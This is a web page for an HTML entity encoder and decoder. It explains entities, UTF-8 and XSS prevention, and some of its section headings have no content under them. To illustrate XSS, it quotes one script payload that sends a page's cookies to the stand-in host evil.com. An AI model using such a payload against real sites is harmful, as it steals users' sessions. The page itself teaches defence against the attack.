Free HTML Entities Encoder & Decoder

What are HTML entities and why do they exist?

HTML entities are special sequences of characters used to represent characters that either have special meaning in HTML or cannot be reliably typed in all environments. Every entity starts with an ampersand (&) and ends with a semicolon (;).

HTML parsers use certain characters to define markup: < opens a tag, > closes one, and & begins an entity reference itself. If you want to display the literal text 2 < 5 in a browser, you cannot write the raw less-than sign — the parser would try to open a tag. Entities solve this by providing a safe, unambiguous representation.

Beyond required characters, entities also allow you to include characters that may be difficult to type on a keyboard or that might be stripped or corrupted by text editors and transmission protocols. The copyright symbol ©, the em dash —, and non-breaking spaces are common examples of characters that are best represented as entities.

Required entities vs optional ones

Not all HTML encoding is mandatory. Understanding which characters must be encoded and which are optional helps you avoid unnecessary verbosity while maintaining correctness.

If your HTML file is saved as UTF-8 (the universal standard since HTML5), you can include any Unicode character directly without encoding. The main reason to encode non-ASCII characters is legacy compatibility — older systems, email clients, and some templating engines may mangle Unicode. For modern web applications using UTF-8 consistently, only the five required characters need encoding.

Named vs numeric (decimal) vs numeric (hex) entities

HTML supports three forms for every character entity, and all three produce identical output in the browser:

XSS prevention — why HTML encoding is a security critical practice

Cross-Site Scripting (XSS) is consistently one of the OWASP Top 10 most critical web security vulnerabilities. It occurs when an attacker injects malicious client-side scripts into a web page that other users view. The attack works because the browser cannot distinguish between intentional JavaScript and injected code — it executes both.

The classic attack scenario: a comment field allows user input. An attacker submits <script>fetch('evil.com?c='+document.cookie)</script>. If the application renders this raw HTML, every user who views the comment page has their session cookie exfiltrated.

// DANGEROUS: renders user input as HTML
document.getElementById('comment').innerHTML = userInput;

// SAFE: encodes special characters before rendering
const el = document.createElement('div');
el.appendChild(document.createTextNode(userInput));
container.appendChild(el);

Modern frameworks like React, Vue, and Angular HTML-encode content by default. React's JSX uses dangerouslySetInnerHTML as an explicit opt-in to raw HTML rendering — the name is intentional. If you bypass framework defaults to render raw HTML, you must encode user input manually.

Complete reference of the most important HTML entities

Encoding in different contexts

Character encoding — UTF-8, ASCII, and how entities relate

ASCII (American Standard Code for Information Interchange) defines 128 characters using 7 bits: the basic Latin alphabet, digits, punctuation, and control characters. HTML was originally designed to work within ASCII, which is why characters outside ASCII needed entity references — the underlying encoding might not support them.

UTF-8 is a variable-length encoding that covers all 1,114,112 Unicode code points. It uses 1 byte for ASCII characters (backward compatible) and up to 4 bytes for emoji and rare scripts. HTML5 mandates UTF-8 as the document encoding and modern servers declare it via Content-Type: text/html; charset=utf-8.

With UTF-8 declared, you can include any Unicode character — emoji, Chinese characters, mathematical symbols — directly in your HTML without entities. The only characters that still require entities are the five that have special HTML meaning (&, <, >, ", '). HTML entities for other characters (&copy;, &euro;, &mdash;) are now purely a readability preference, not a necessity.